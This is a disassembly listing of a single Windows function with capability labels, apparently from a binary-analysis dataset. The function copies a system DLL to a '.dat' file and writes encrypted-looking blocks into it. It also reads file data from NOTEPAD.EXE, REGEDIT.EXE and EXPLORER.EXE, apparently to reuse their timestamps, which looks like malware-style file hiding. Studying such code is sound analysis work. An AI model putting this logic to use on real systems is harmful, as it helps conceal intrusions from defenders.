Function at 0x100070a0
Capabilities:
Copy file
Delete file
Get common file path
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68c
mov eax, dword [0x101a8cb0]
xor eax, ebp
mov dword [ebp - 0x20], eax
push esi
push edi
mov dword [ebp - 0x1c], 0
cmp dword [ebp + 0xc], 0
je 0x100070da
mov eax, dword [ebp + 0xc]
push eax
call fcn.1002d6f0
add esp, 4
cmp eax, 0x10
jbe 0x100070da
mov ecx, dword [ebp + 0xc]
mov byte [ecx + 0x10], 0
mov dword [ebp - 0x168], 0x2bc84
mov dword [ebp - 0x16c], 0x20
mov dword [ebp - 0x1a4], 0xf
call fcn.100339b0
mov esi, eax
call dword [sym.imp.WINMM.dll_timeGetTime]
add esi, eax
xor edi, edi
push 0
call fcn.100078b0
add esp, 4
add esi, eax
adc edi, edx
mov dword [ebp - 0x57c], esi
push 0x104
lea edx, [ebp - 0x2c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x2c8]
push eax
push str._sNOTEPAD.EXE
lea ecx, [ebp - 0x4f8]
push ecx
call fcn.10003cf0
add esp, 0xc
lea edx, [ebp - 0x1bc]
push edx
lea eax, [ebp - 0x4f8]
push eax
call fcn.10004ed0
add esp, 8
mov word [ebp - 8], ax
movzx ecx, word [ebp - 8]
test ecx, ecx
je 0x100071a1
lea edx, [ebp - 0x2c8]
push edx
push str._sREGEDIT.EXE
lea eax, [ebp - 0x4f8]
push eax
call fcn.10003cf0
add esp, 0xc
lea ecx, [ebp - 0x1bc]
push ecx
lea edx, [ebp - 0x4f8]
push edx
call fcn.10004ed0
add esp, 8
mov word [ebp - 8], ax
movzx eax, word [ebp - 8]
test eax, eax
je 0x100071de
lea ecx, [ebp - 0x2c8]
push ecx
push str._sEXPLORER.EXE
lea edx, [ebp - 0x4f8]
push edx
call fcn.10003cf0
add esp, 0xc
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x4f8]
push ecx
call fcn.10004ed0
add esp, 8
mov word [ebp - 8], ax
cmp dword [ebp - 0x1c], 0
je 0x10007216
push 0x104
lea edx, [ebp - 0x2c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x2c8]
push eax
push 0x101959d0
lea ecx, [ebp - 0x3d0]
push ecx
call fcn.10003cf0
add esp, 0xc
jmp 0x100072a5
push 0x104
lea edx, [ebp - 0x2c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x2c8]
push eax
push str._smsleesn.dll
lea ecx, [ebp - 0x688]
push ecx
call fcn.10003cf0
add esp, 0xc
push 0x10195868
push str._s_appContexts.dat
lea edx, [ebp - 0x3d0]
push edx
call fcn.10003cf0
add esp, 0xc
push 0x10195868
call fcn.10006ed0
add esp, 4
lea eax, [ebp - 0x3d0]
push eax
call fcn.10007040
add esp, 4
test eax, eax
jne 0x100072a5
lea ecx, [ebp - 0x688]
push ecx
call fcn.10007040
add esp, 4
test eax, eax
je 0x100072a5
push 1
lea edx, [ebp - 0x3d0]
push edx
lea eax, [ebp - 0x688]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp + 8]
push ecx
call fcn.10006050
add esp, 4
lea edx, [ebp - 0x1a4]
push edx
lea eax, [ebp - 0x578]
push eax
push 0xf
mov ecx, dword [ebp + 8]
push ecx
call fcn.100068a0
add esp, 0x10
push 0x10195a04
lea edx, [ebp - 0x3d0]
push edx
call fcn.10003c90
add esp, 8
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
je 0x10007403
push 2
push 0
mov eax, dword [ebp - 0x164]
push eax
call fcn.10033a60
add esp, 0xc
mov ecx, dword [ebp - 0x164]
push ecx
call fcn.10034f20
add esp, 4
mov dword [ebp - 4], eax
push 0
push 0
mov edx, dword [ebp - 0x164]
push edx
call fcn.10033a60
add esp, 0xc
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x168]
jle 0x10007342
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x68c], ecx
jmp 0x1000734e
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x68c], edx
mov eax, dword [ebp - 0x68c]
mov dword [ebp - 0x168], eax
mov ecx, dword [ebp - 0x168]
add ecx, dword [ebp - 0x16c]
add ecx, dword [ebp - 0x1a4]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, 0x40
push edx
call fcn.1002d4b0
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x100073ac
mov eax, dword [ebp - 0xc]
push eax
call fcn.1002d490
add esp, 4
mov ecx, dword [ebp - 0x164]
push ecx
call fcn.1002ac50
add esp, 4
mov eax, 0x66
jmp 0x10007893
mov edx, dword [ebp - 0x164]
push edx
mov eax, dword [ebp - 4]
push eax
push 1
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.10032e00
add esp, 0x10
cmp eax, dword [ebp - 4]
je 0x100073ef
mov edx, dword [ebp - 0xc]
push edx
call fcn.1002d490
add esp, 4
mov eax, dword [ebp - 0x164]
push eax
call fcn.1002ac50
add esp, 4
mov eax, 0xca
jmp 0x10007893
mov ecx, dword [ebp - 0x164]
push ecx
call fcn.1002ac50
add esp, 4
jmp 0x100074fc
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
add eax, 0x40
push eax
call fcn.1002d4b0
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000743a
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.1002d490
add esp, 4
mov eax, 0x66
jmp 0x10007893
lea edx, [ebp - 0x19c]
push edx
mov eax, dword [ebp - 0x57c]
push eax
call fcn.10005f60
add esp, 8
mov dword [ebp - 0x18], 0
jmp 0x10007462
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp - 0x168]
jge 0x10007486
lea eax, [ebp - 0x19c]
push eax
call fcn.10005fb0
add esp, 4
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x18]
mov byte [ecx], al
jmp 0x10007459
mov dword [ebp - 0x1a0], 0
jmp 0x100074aa
mov edx, dword [ebp - 0x1a4]
add edx, dword [ebp - 0x16c]
add edx, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a0], edx
mov eax, dword [ebp - 0x1a0]
cmp eax, dword [ebp - 0x168]
jge 0x100074fc
push 0x20
push 0
lea ecx, [ebp - 0x18c]
push ecx
call fcn.1002a420
add esp, 0xc
lea edx, [ebp - 0x18c]
push edx
call fcn.10006950
add esp, 4
mov eax, dword [ebp - 0x16c]
push eax
lea ecx, [ebp - 0x18c]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x1a0]
push edx
call fcn.10031ea0
add esp, 0xc
jmp 0x10007492
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
lea edx, [ebp - 0x160]
push edx
call fcn.1000b360
add esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x10007531
push 0
push 0
lea eax, [ebp - 0x160]
push eax
call fcn.1000c5c0
add esp, 0xc
jmp 0x1000773a
push 0x20
push 0
lea ecx, [ebp - 0x3f0]
push ecx
call fcn.1002a420
add esp, 0xc
mov edx, dword [ebp - 0x1a4]
add edx, dword [ebp - 0x16c]
mov dword [ebp - 0x1a0], edx
push 0
mov eax, dword [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.1000c5c0
add esp, 0xc
mov edx, dword [ebp - 0x16c]
push edx
lea eax, [ebp - 0x18c]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.1000b880
add esp, 0xc
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x16c]
jne 0x100076d8
lea eax, [ebp - 0x18c]
push eax
call fcn.10006a20
add esp, 4
movzx ecx, ax
test ecx, ecx
je 0x100075c6
push 0x20
push 0
lea edx, [ebp - 0x18c]
push edx
call fcn.1002a420
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.1002d6f0
add esp, 4
push eax
lea ecx, [ebp - 0x184]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.10033170
add esp, 0xc
test eax, eax
jne 0x100075ef
jmp 0x100076d8
mov eax, dword [ebp - 0x16c]
sub eax, 8
push eax
lea ecx, [ebp - 0x188]
push ecx
lea edx, [ebp - 0x3f0]
push edx
call fcn.100344b0
add esp, 0xc
test eax, eax
je 0x1000764a
mov eax, dword [ebp - 0x16c]
sub eax, 8
push eax
lea ecx, [ebp - 0x188]
push ecx
call fcn.10006e70
add esp, 8
test eax, eax
je 0x1000764a
mov edx, dword [ebp - 0x1a0]
add edx, dword [ebp - 0x1a4]
add edx, dword [ebp - 0x16c]
cmp edx, dword [ebp - 0x168]
jle 0x100076a3
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x3e8]
push ecx
call fcn.10003cb0
add esp, 8
lea edx, [ebp - 0x3f0]
push edx
call fcn.10006950
add esp, 4
push 0
mov eax, dword [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.1000c5c0
add esp, 0xc
mov edx, dword [ebp - 0x16c]
push edx
lea eax, [ebp - 0x3f0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.1000be60
add esp, 0xc
jmp 0x100076d8
mov edx, dword [ebp - 0x1a4]
add edx, dword [ebp - 0x16c]
add edx, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a0], edx
push 0
mov eax, dword [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.1000c5c0
add esp, 0xc
jmp 0x1000756e
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0x16c]
je 0x1000773a
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x3e8]
push ecx
call fcn.10003cb0
add esp, 8
lea edx, [ebp - 0x3f0]
push edx
call fcn.10006950
add esp, 4
push 0
mov eax, dword [ebp - 0x1a0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.1000c5c0
add esp, 0xc
mov edx, dword [ebp - 0x16c]
push edx
lea eax, [ebp - 0x3f0]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.1000be60
add esp, 0xc
mov edx, dword [ebp - 0x1a4]
push edx
lea eax, [ebp - 0x578]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.1000be60
add esp, 0xc
cmp eax, dword [ebp - 0x1a4]
je 0x10007768
mov edx, 0xcb
mov word [ebp - 8], dx
push 1
push 0
lea eax, [ebp - 0x160]
push eax
call fcn.1000c5c0
add esp, 0xc
mov dword [ebp - 0x1a0], eax
mov ecx, dword [ebp - 0x1a0]
cmp ecx, dword [ebp - 0x168]
jle 0x1000779b
mov edx, dword [ebp - 0x1a0]
mov dword [ebp - 0x168], edx
lea eax, [ebp - 0x3d0]
push eax
push str._s.bak
lea ecx, [ebp - 0x4f8]
push ecx
call fcn.10003cf0
add esp, 0xc
lea edx, [ebp - 0x4f8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x3d0]
push ecx
call fcn.10034460
add esp, 8
push 0x10195a10
lea edx, [ebp - 0x3d0]
push edx
call fcn.10003c90
add esp, 8
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jne 0x10007812
mov eax, dword [ebp - 0xc]
push eax
call fcn.1002d490
add esp, 4
mov eax, 0xc9
jmp 0x10007893
mov ecx, dword [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0x168]
push edx
push 1
mov eax, dword [ebp - 0xc]
push eax
call fcn.10032210
add esp, 0x10
cmp eax, dword [ebp - 0x168]
je 0x10007858
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.1002d490
add esp, 4
mov edx, dword [ebp - 0x164]
push edx
call fcn.1002ac50
add esp, 4
mov eax, 0xcb
jmp 0x10007893
mov eax, dword [ebp - 0x164]
push eax
call fcn.1002ac50
add esp, 4
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.1002d490
add esp, 4
cmp dword [ebp - 0x1c], 0
je 0x1000788f
lea edx, [ebp - 0x1bc]
push edx
lea eax, [ebp - 0x3d0]
push eax
call fcn.10004f50
add esp, 8
mov ax, word [ebp - 8]
pop edi
pop esi
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.1002aab0
mov esp, ebp
pop ebp
ret